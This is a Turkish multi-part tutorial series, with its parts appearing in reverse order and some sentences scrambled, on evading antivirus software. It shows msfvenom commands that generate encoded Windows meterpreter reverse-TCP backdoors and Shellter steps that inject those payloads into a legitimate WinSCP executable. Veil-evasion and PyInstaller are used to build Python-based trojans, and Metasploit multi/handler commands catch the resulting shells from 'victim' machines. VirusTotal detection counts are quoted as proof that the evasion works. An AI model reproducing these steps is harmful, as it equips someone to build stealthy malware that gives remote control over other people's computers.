Sorunsuz bir şekilde python scriptleri ve Metasploit resource dosyaları oluşturulmuştur. Python Dosya ile Reverse Bağlantı Oluşturulan zararlıları kurban bilgisayarda çalıştırmadan evvel gelecek olan bağlantıyı yakalayacak handlerı oluşturmamız gerekmektedir. Yukarıdaki satırlarda belirttiğimiz gibi Maligno, handler için resource dosyalarını da oluşturmaktadır. Oluşturulan zararlılardan meterpreter için reverse HTTPS bağlantı veren dosyayı çalıştıracağımız farz edelim ve buna göre oluşturulan resource dosyasını yükleyelim.

Python un ve diğer modüllerinin yüklü olduğunu varsayıp, kurban bilgisayarında oluşturduğumuz scripti çalıştıralım. Dosya çalıştırıldıktan sonra dinlemeye aldığımız Metasploit tarafına bağlantı gelecektir ve session oluşacaktır.

EXE ile Reverse Bağlantı Önceden belirttiğimiz gibi her bilgisayarda python olmayabilir. Olsa dahi gerekli modüller yüklü olmayabilir. Bu yüzden python dosyasımız bazı modülleri kullanarak çalıştırılabilir dosyalara dönüştürebileceğimizden bahsetmiştik. PyInstaller ile python dosyamızı exe formatına dönüştürmek için aşağıdaki komut kullanılabilir. pyinstaller.exe onefile windowed standalone_1_standard_windows_reverse_https.py

İşlemin sonunda komutu çalıştırdığımız klasörün içerisinde build ve dist klasörleri oluşacaktır. Dist klasörü altında aradığımız exe dosyası bulunmaktadır. Bu dosyaya çift tıkladığımızda veya komut satırından çalıştırdığımızda, herhangi bir exe dosyasıymış gibi, beklemeye aldığımız Metasploit tarafına bağlantı düşecektir. Tarama Sonucu Oluşturduğumuz zararlı yazılımın, online tarama sonucu aşağıda

ki resimlerde verilmiştir. İlk olarak python dosyamız için VirusTotal sayfasında yaptığımız taramanın sonucunu görelim. Şimdi ise PyInstaller ile exe ye çevirdiğimiz zararlı dosya için VirusTotal web sitesinde yapılan taramanın sonucunu görelim. Anti-Virus Atlatma 4 Bir önceki yazıda Shellter aracının içerisindeki payloadları kullanarak, çalıştırılabilir dosya formatında ki bir dosyaya arka kapı yerleştirmiştik. Oluşturulan bu zararlı yazılımın Virustotal sitesindeki taramasından elde edilen sonuç 1/56 idi. Bu yazıda yine Shellter aracını kullanacağız fakat bu sefer gömülü gelen payloadlar yerine, Metasploit Framework ün içerisinde bulunan Msfvenom ile üreteceğimiz ve bize meterpreter ile reverse bir TCP bağlantı veren payload kullanacağız.

Msfvenom Öncelikle Msfvenom kullanarak bir payload üreteceğiz. Msfvenom, Metasploit Framework ün içerisinde bulunan Msfpayload ve Msfencode araçlarının birleşimidir. Üstünde iyileştirmeler ve optimizasyon yapılmıştır, önceki araçlara göre hızlı bir şekilde payload/shellcode üretmektedir. Artık Metasploit içerisinde msfpayload ve msfencode araçları kullanılmamaktadır. Default olarak Msfvenom gelmektedir. Basit bir şekilde, x86/shikata_ga_nai ile 10 iterasyonla encode edilmiş bir payload kullanacağız. msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.134 LPORT=5656 -a x86 -e x86/shikata_ga_nai -i 10 -f raw -o Backdoor.raw Shellter Daha öncede bahsettiğimiz gibi Auto ve Manual olmak üzere iki mod bulunmaktadır. Manual modda çok fazla interaktif işlem olduğu için, kimi zaman kötü bir çıktı alınabilir. Hız, kolaylık ve bypass kabiliyetinin yüksekliği nedeniyle Auto mod (A) tercih edilir. Mod tercihinden sonra arka kapıyı enjekte edeceğimiz zararlı yazılımın dosya yolunu girmemiz gerekmektedir. Örnek olarak SFTP yazılımı olan portable WinSCP indirilip, kullanılmıştır.

Custom Payload Gelen ekranda iki seçenek sunuluyor. İlki, bir önceki yazıda anlattığımız, Shellter içerisinde gömülü olarak gelen payloadlardan birini kullanarak zararlıyı oluşturma. İkincisi, elimizde olan bir payloadı çalıştırılabilir dosyaya enjekte etme seçeneği. Custom manasındaki C yi girdikten sonra, Msfvenom ile ürettiğimiz payloadın yolunu göstererek yola devam ediyoruz. Shellter v4 ile birlikte Reflective DLL destekler şekilde gelişmiştir. Reflective DLL seçeneği ile seçilecek olan bir DLL processin çalışması sırasında kullanılabilir. Kullanılacak DLL disk üzerinde herhangi bir işlem yapmayan, üzerinde çalıştığı processin adres uzayında çalışacaktır. N diyip geçiyoruz. Payload hakkında kısa bir bilgi gösterdikten sonra, vermiş olduğumuz payloadı, çalıştırılabilir dosyaya enjeksiyon işlemi başlamış oluyor.

Enjeksiyon işlemi tamamlandı. çalıştırılabilir dosyamıza yerleştirilmiştir. Bu aşamadan oluşturduğumuz arka sonra kapı Tarama Sonucu Oluşturduğumuz zararlı yazılımın, VirusTotal sayfasında yapılan online tarama sonucu aşağıdaki resimde verilmiştir.

Görüldüğü üzere kendi oluşturduğumuz payloadı kullanmak, Shellter içerisinde gömülü gelen payloadları kullanmaktan daha iyi sonuç verdi. Şimdi ise oluşturulan zararlıyı, kurban makinesinde çalıştıralım ve Metasploit e gelecek bağlantıyı görelim. Reverse Bağlantı Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yapmak için multi/handler modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek. Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir. use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.17.7.134 set lport 5656 set exitonsession false exploit -j -z

Oluşturulan zararlı yazılımın kurban bilgisayarında çalıştırılması sonucunda, dinlemeye aldığımız handler a session düşecektir. Var olan sessiona geçiş yapıp, meterpreter shell imizi kullanabiliriz. Anti-Virüs Atlatma 3 Anti-virüs bypass yazı dizisinin başka bir bölümü olan Shellter aracını anlatan yazı ile devam edeceğiz. Shellter, ücretsiz ve multi platform çalışabilen bir anti-virus bypass

aracıdır. Genel olarak var olan bir çalıştırılabilir dosyaya zararlı yazılımımızı entegre etmeye yarar. Bu şekilde ürettiğimiz (Metasploit in msfvenom aracını kullanarak) arka kapıyı, çalıştırılabilir dosya formatı olan exe formatındaki dosyalara Shellter ile enjekte edip kurban makinesinde çalıştırabiliriz. Kurulum Anlatılacak olan işlemlerde Kali linux işletim sistemi kullanıldığı için, işlemler linux sistemlere göre anlatılacaktır. Shellter in download sayfasını incelediğimiz vakit bir kaç alternatif olduğunu görüyoruz. Zip dosyasını indirmek (Yazım sırasındaki son versiyon v5.1) Linux dağıtımlarının depolarından kurmak (Kali için v3.1) Debian/Arch dağıtımları için hazır paket ile kurmak (Debian için v2.0) Alternatifler böyle iken zip dosyasını indirip, son versiyon ile çalışmak daha mantıklı olacaktır. Bu arada v4.0 dan sonra Shellter içerisinde bulunan hazır payloadları enjekte etme seçeneği eklenmiştir. Versiyon 4 ten önce, kendi hazırladığımız payload ile çalıştırılabilir dosyayı birleştirip anti-virüs bypass işlemini gerçekleştiriyorduk. Uygulama linux ortamlarda Wine ile çalışmaktadır. Download sayfasından indirdiğimiz zip dosyasını, açtıktan sonra klasör içerisinde yer alan shellter.exe yi wine ile çalıştırmak yeterlidir. Kısa bir süre gerekli konfigürasyonlar yapılacak ve Shellter başlayacaktır. Kurban bilgisayar kullanmaktadır. Windows 7, saldırgan ise Kali Linux

Auto-Manual Mod Shellter içinde iki mod vardır. Bunlardan biri Manual, daha esnek bir şekilde işlemler gerçekleştirilir, kullanıcıyla fazla iletişim kurarak zararlıyı çalıştırılabilir dosyaya enjekte eder. Diğeri Auto, bu modda iken daha seri bir şekilde, çok fazla uygulamaya müdahale etmeden, kısa bir kaç işlem sonunda zararlıyı çalıştırılabilir dosyaya enjekte edebilirsiniz. Shellter in giriş ekranından bir kare; Auto Mode İlk olarak auto mod ile bir zararlı yazılım oluşturalım ve bunun online tarama sayfalarındaki sonuçlarını görelim.

Seçilecek olan mod Auto, uygulamaya girilecek opsiyon ise A dır. Yapılacak işlemin modunu seçtikten sonra arka kapıyı enjekte edeceğimiz çalıştırılabilir dosya formatındaki dosyanın yolunu vermemiz gerekmektedir. Örnek olarak SFTP yazılımı olan WinSCP yi kullanıyoruz. Stealth Mode Bahsi geçen Stealth modu, Shellter in 5.0 versiyonuyla beraber gelmiştir. Bu modun aktif edilmesi ile bir dosyaya birden çok sayıda payload enjekte edilebilmektedir. Enjekte edilen payloadlar birbirinden bağımsız şekilde çalışabilirler. Payloads Versiyon 4 ile birlikte Shellter kendi içerisinde gömülü olarak payload seçme seçenekleri sunuyor demiştik. Sunulan seçenekler arasında meterpreter için bind ve reverse TCP, reverse HTTP ve HTTPS gibi Metasploit payloadları mevcuttur. Bu yazıda Shellter içerisinde gömülü olarak gelen payloadlardan olan Meterpreter_Reverse_TCP kullanılacaktır. Bir sonraki yazıda ise özel olarak kendi ürettiğimiz payload ı Shellter aracılığıyla çalıştırılabilir dosyaya enjekte edip sonuçları göreceğiz. Listelenmiş payloadlardan birini

kullanmak için interaktif ekrana L girmemiz gerekiyor. Daha sonra kullanacağımız payloadın, verilenler arasından, index numarasının girilmesi gerekmektedir. Payloadın index numarasını girdikten sonra, payloadın tipine bağlı olarak girilmesi gereken parametrelerin değerleri olacaktır. Bizim seçtiğimiz payload için girilmesi gerken iki parametre vardır. LHOST ve LPORT değerleri. Bunlar Metasploit tarafında başlatacağımız handler için dinlemede bulunacak IP ve port değerleridir. Gerekli değerler girildikten sonra Shellter, payload ile ilgili kısa bir özet geçerek zararlı enjekte işlemine başlayacaktır.

Kısa bir sürenin ardından, çalıştırılabilir dosyanın boyutuna bağlı olarak, seçtiğimiz payload çalıştırılabilir dosyaya enjekte edilecektir. Tarama Sonucu Oluşturduğumuz zararlı yazılımın, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak VirusTotal sayfasında yaptığımız taramanın sonucunu görelim.

Bir diğer online malware tarama sayfası olan Jotti den gelen sonucunu görelim. Resimlerden anlaşılacağı üzere Shellter anti-virus bypass yazılımı, bir önceki yazıda anlattığımız Veil-evasion dan daha iyi sonuçlar vermektedir. Reverse Bağlantı Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yapmak için multi/handler modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek. Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir. use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.17.7.134 set lport 5656 set exitonsession false exploit -j -z

Oluşturulan zararlı yazılımın kurban bilgisayarında çalıştırılması sonucunda, dinlemeye aldığımız handler a session düşecektir. Bir sonraki yazıda Shellter ı kullanarak, kendi oluşturduğumuz payloadı çalıştırılabilir bir dosyaya enjekte edeceğiz ve tarama sonuçlarını karşılaştıracağız.

Anti-Virüs Atlatma 2 Merhaba, bu yazımızda işleyeceğimiz araç Veil-evasion dur. Veil, açık kaynak kodlu olarak geliştirilen bir framework tür. Biz Veil framework içerisindeki anti-virüs atlatma aracı olan Veil-evasion u kullanacağız. Kurulum Linux üstüne kurulumu için mevcut kodlarının olduğu Github sayfasından (https://github.com/veil-framework/veil-evasion) indirip setup klasörünün altında bulunan setup.sh scripti ile kurulumu yapabilirsiniz. git clone https://github.com/veil-framework/veil-evasion.git cd Veil-Evasion/setup bash setup.sh -s

Veya depo dan direkt olarak kurulumunu yapabilirsiniz. bağımlılıklarıyla beraber Bunun için; apt-get install veil-evasion Çok sayıda paketi de kendisiyle beraber kuracaktır. İndirme ve kurulum işlemleri bittikten sonra terminal ekranında yapılandırılan konfigürasyonlar ve dosya yolları görünecektir. 32 bit bir işletim sisteminde daha rahat olacaktır kurulum işlemi. 64 bit sistemlerde kurulum yapıldığı zaman, gerekli yan uygulamalar ve wine 32bitlik sistemlere göre kurulacak ve yapılandırılacaktır, çoğu zaman da hata ile

karşılaşılabilmektedir. Konfigürasyon dosyası olan /etc/veil/settings.py içerisinde sisteminize uygun değişiklikleri yapabilirsiniz. Konfigürasyon dosyasında boş olarak görünen alan olan MSFVENOM_OPTIONS kısmı payload oluşturma sırasında ham bir payload yerine ek parametrelerle bir payload oluşturma imkanı sağlar. Örnek olarak oluşturma sırasında seçilecek bir encode tekniği kullanılarak birkaç iterasyondan geçirmesi sağlanabilir. Veil-evasion Kaynak koddan kurduysanız Veil-Evasion klasöründeki VeilEvasion.py dosyasını çalıştırarak, depodan kurduysanız, komut satırından veil-evasion komutunu girerek başlatabilirsiniz. Başlangıç ekranından görüldüğü üzere şu an için kullandığımız versiyon olan 2.22.1 için kullanılabilecek 47 payload vardır.

Kullanım Kullanımı Metasploit ile benzerdir ve TAB ile tamamlama desteği vardır. Öncelikle list diyerek kullanılabilecek payloadları görelim. Aşağıda verilmiş olan resimden de anlaşılacağı üzere C, C#, GO, Python, Ruby, Powershell gibi dilleri kullanarak oluşturulabilen payloadları vardır. Bir payloadı seçmek için use komutunu kullanmanız gerekmektedir. use [Payload index numarası] veya use [Payload ismi] kullanım şekilleri ile kullanılabilir.

Örnek Örnek olarak Python ile yazılmış, meterpreter ile bize reverse_tcp bağlantı verecek olan payloadı kullanalım. Seçtiğimiz payload: python/meterpreter/rev_tcp, index numarası 31.Bu payloadı kullanmak için use 31 veya use python/meterpreter/rev_tcp diyoruz.

Gelen ekranda görüldüğü üzere birçok parametre vardır > Bunları teker teker açıklamak gerekise; ARCHITECTURE: Varsayılan olarak 32 bittir. Üretilecek olan zararlı yazılımın işlemci mimarisini belirtir. COMPILE_TO_EXE: Varsayılan olarak Y dir. Üretilecek olan zararlı yazılımın çalıştırılabilir bir dosya tipi olarak EXE ye dönüştürülmesini belirtir. EXPIRE_PAYLOAD: Opsiyonel olarak kullanılabilir bir alandır. Devre dışı bırakılacak özelliği tanımlamamızı sağlar. LHOST: Metasploit te dinlemeyi yapacağımız handler in IP adresi. LPORT: Metasploit te dinlemeyi yapacağımız handler in port adresi. USE_PYHERION: Varsayılan olarak N dir. Üretilecek zararlı yazılımın ek olarak Python un pyherion şifrelemesinden geçirileceğini belirtir. Msfvenom ile Backdoor Veil ile oluşturacağımız zararlı yazılım ile karşılaştırıp farkı görmek açısından önce Metasploit araçlarından olan msfvenom ile basit bir arka kapı oluşturalım. msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.132 LPORT=7788 -f exe -o rawbackdoor.exe Oluşturduğumuz zararlı yazılımı online bir anti-virüs tarama sitesi olan https://www.virustotal.com/ üstünde tarayalım ve

sonuçları görelim. Not: Bu tarz sistemler çıktılardan gelen sonuçları anti-virüs firmalarıyla paylaştığı ve imza tabanlı çalıştığı için, önceden yapılan taramalardan dolayı oluşturulan payloadları çok sayıda anti-virus yazılımı keşfedebilir düzeye gelmiştir. Bu yüzden anti-virus bypass uygulamalarında bir not olarak, online sistemlerde taratmayın diye not düşebilirler. Veil ile Backdoor Veil üstünde oluşturacağımız zararlı yazılımın, seçtiğimiz modüle göre, gerekli parametrelerini girdikten sonra generate komutu ile oluşturma işlemini başlatabiliriz. Generate dedikten sonra oluşturma işlemine başlamadan önce bize çıktı olarak vereceği dosyanın adını ne koyacağımızı soruyor. Bu değer default olarak payload olarak belirlenmiştir. Seçtiğimiz modülün parametrelerinden olan COMPILE_TO_EXE ye argüman olarak Y değerini verdiğimiz için oluşturalacak olan Python dosyasını exe olarak çalıştırılabilir dosya formatına dönüştürecektir. Burada oluşturulan çıktı dosyasının, çalıştırılabilir dosya formatına

dönüştürülmesi işlemi farklı python modülleri gerçekleşebilmektedir. Veil içinde default olarak Pyinstaller kullanılmaktadır. Bizde bu yazı sırasında 1 seçeneğinde bulunan Pyinstaller ı kullanacağız. 1 değerini girdikten sonra arka kapı oluşturma işlemi başlıyor. Zararlı yazılımın oluşturma işlemi tamamlandı. Verilen çıktıda, oluşturulan zararlı yazılım ile ilgili birkaç özellik bulunmaktadır. Bunlar, hangi dilde oluşturulduğu, payload olarak hangi metasploit payload ı kullanıldığı, kullanılan parametreler ve bunlara verilen değerler, payload dosyasının (zararlı yazılımımızın) bulunduğu konum ve handler dosyasının bulunduğu konum.

Metasploit Handler Resource Burada oluşturulan handler dosyası (resource), Metasploit tarafında gelen bağlantıları bekleme sırasında oluşturacağımız handler in script versiyonudur. Handler dosyası ile Metasploit tarafında, otomatik olarak komutları oluşturulan, oluşturduğumuz zararlı yazılıma göre parametreleri girip beklemeyi başlatabiliriz. Scripti Metasploit üstünde çalıştırmak için komut satırından msfconsole -r [Resource dosya konumu] veya açık olan Metasploit komut ekranında resource komutuyla şu şekilde yapılabilir resource [Resource dosya konumu]. Örnek bir kullanım aşağıda verilmiştir. Tarama sonucu Oluşturulan zararlı yazılımın, yapmamamız gereken, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan VirusTotal sonucunu paylaşalım. sayfasında yaptığımız taramanın Bir başka online tarama sayfası olan https://virusscan.jotti.org/ üstündeki taramanın sonucu ise aşağıdaki gibidir.

Jotti üzerinde ilk oluşturduğumuz msfvenom ile ham backdoorzararlı yazılımın tarama sonucunu da paylaşırsak aradaki farkı daha net görebilirsiniz. Reverse Bağlantı Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yukarıda belirttiğimiz resource dosyası ile veya kendimiz multi/handler modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek. Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir. use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.17.7.132 set lport 7788 set exitonsession false exploit -j -z

Dinlemeyi başlattığımıza göre şimdi bekleme sırasında, kurbanın bir şekilde bunu açtığını varsayarsak, meterpreter shell için session ımız oluşuyor. Aktif sessionları listeleyip, bir tanesine geçiş yaptıktan sonra sistem hakkında kısa bir bilgi alma komutu çalıştıralım. Başka Bir Örnek Veil-evasion üstünde kullandığımız python/meterpreter/rev_tcp modülünden sonra kısaca başka bir modül için alınan sonuçları görelim. Kullanılan modül yine aynı aileden fakat farklı bir protokol ile çalışan python/meterpreter/rev_https modülü. Gerekli parametreleri düzenledikten sonra generate diyerek oluşturma işlemini başlatıyoruz.

Oluşturulan zararlı yazılımın, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan VirusTotal sayfasında yaptığımız taramanın sonucunu görelim. Bir diğer tarama sayfası olan Jotti den gelen sonucunu görelim.

Anti-Virüs Atlatma 1 Merhaba, Anti-virüs bypass işlemleri sırasında kullanılan araçların anlatılmasını içerecek olan bu makale, yazı dizisi şeklinde olacaktır. Her yazıda farklı bir anti-virüs bypass aracı anlatılacaktır. İlk olarak, bu makalede, Metasploit Framework ün kendi içerisinde bulunan Encode Modülleri kullanılacaktır. Sızma testleri sırasında veya sosyal mühendislik saldırılarında, kurban kişisinin bilgisayarında Metasploit in ajanı olan meterpreter ile shell alınmak istenebilir. Meterpreter, üstünde çok sayıda post-exploit modülü bulunduran, sızma testleri sırasında işleri oldukça kolaylaştıran bir Metasploit ajanıdır. Başlangıç olarak Metasploit Framework yardımıyla bir arka kapı oluşturacağız. Oluşturulan arka kapı Windows makineler için üretilmiştir ve reverse bağlantı ile 5566 portu üzerinden bizimle bağlantı kuracaktır. Saf bir şekilde üretilen (herhangi bir encode işlemine tabi tutulmamış) zararlı yazılımın online olarak virüs taramasından geçirilmiş sonucu aşağıdadır.

Resimden anlaşıldığı üzere 56 anti-virüs yazılımından 36 tanesi zararlı yazılım olduğunu doğrulamıştır. Msfvenom Msfvenom, Metasploit Framework ün arka kapı, shellcode üretmek, encode işlemleri için kullanılan aracıdır. Öncesinde msfpayload ve msfencode ile ayrı ayrı yapılan bu işlemler artık msfvenom ile tek bir seferde gerçekleştirilebilir. Msfvenom içerisinde bulunan encoder lar msfvenom list encoders komutuyla listelenebilir. Görüntülenen encoder ların güç dereceleri rank alanının altında bulunan bölümde belirtilmiştir. Resimden anlaşılacağı üzere excellent derecesinde iki tane encoder bulunmaktadır. Bunlar ; cmd/powershell_base64 x86/shikata_ga_nai Bunları teker teker deneyip sonuçları test edeceğiz.

Encoder : cmd/powershell_base64 Msfvenom ile üretilen arka kapıyı oluşturma sırasında encode işlemi uygulamak için -e veya encode parametresi kullanılabilir. Encode işlemini birden çok defa uygulamak için -i veya iterations parametresi kullanılabilir. Biz ilk olarak oluşturacağımız arka kapıyı cmd/powershell_base64 encoder i ile 5 defa encode edecek şekilde oluşturalım. Bu tarz işlemler çokça yapıldığı ve aynı formatta olduğu için

anti-virüs yazılımları imza veritabanlarına bunları eklemişlerdir. Bundan kaçınmak için aynı zararlıyı birden çok defa farklı encoder lar ile encode etmek gerekebilir. Bunu yapabilmek için Msfvenom dan elde edeceğimiz çıktıyı bir sonraki msfvenom komutuna pipe etmek gerekiyor. Bu şekilde birden çok encode tekniği ve iterasyonu ile anti-virüslere yakalanma ihtimali düşebilir. Aşağıdaki resimde oluşturulan zararlı yazılım 3 farklı encode tekniği ile encode edilmiştir. İlk durumda cmd/powershell_base64, ikinci durumda cmd/echo ve üçüncü durumda x86/shikata_ga_nai ile encode edilmiştir. Encode işlemi sırasında 5 ve 10 ar defalık iterasyonlarla encode işlemi gerçekleştirilmiştir. msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.124 LPORT=5566 -f raw -e cmd/powershell_base64 -i 5 msfvenom platform windows -a x86 -e cmd/echo -i 10 -f raw msfvenom -e x86/shikata_ga_nai -i 10 platform windows -a x86 -f exe -o backdoor_encode_multi_shikata.exe Reverse Meterpreter Shell Yapılan işlemlerden sonra arka kapıyı kullanıcıya bir şekilde açtırdığımızı varsayarak aşağıdaki işlemleri yapıp, açılacak olan Meterpreter shellini beklemeye koyulabiliriz. Bunun için Metasploit in içerisinde yer alan ve gelecek bağlantıları

yakalamaya yarayan handler i kullanmamız gerekmektedir. Sırasıyla aşağıdaki komutlar girilmiştir ve gelecek bağlantılar beklenmektedir. use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 172.17.7.124 set lport 5566 set exitonsession false exploit -j -z Yukarıdaki işlemler sırasında yapılanların açıklamalarına gelecek olursak, klasik olan multi/handler i kullanıp, payload olarak arka kapıyı oluşturma sırasında kullandığımız payload ı atayıp, bu payload a ait parametreleri(lhost, LPORT) girmek, exitonsession parametresi ile ilk bağlantıdan sonra gelecek olan bağlantıları da beklemesini sağlamak ve bunları bir job haline getirip dinlemeyi başlatmak. İşlemlerin gerçekleştirilmesi sonrasında alınmış bir ekran görüntüsü aşağıdadır. Kurban, oluşturulan zararlı yazılımı açtıktan sonra Meterpreter Shell imiz geliyor, fakat buna otomatik bir geçiş yapmıyor. Bunun nedeni dinlemeyi yaptığımız sırada exploit komutuna verdiğimiz -z parametresidir. Bu parametre gelecek bağlantı ile direk bağlantı kurmaz, oluşturulan session lar içerisine ekler. Sessions komutu ile hali hazırda bağlantıları

kurulmuş olan session ları görebiliriz. Gelen bağlatıların görüntülenmesi ve o session a geçiş yapılması sonrasında bağlantının kurulduğu bilgisayar hakkındaki bilgilerin listelenmesi işlemleri aşağıdaki resimde gösterilmiştir.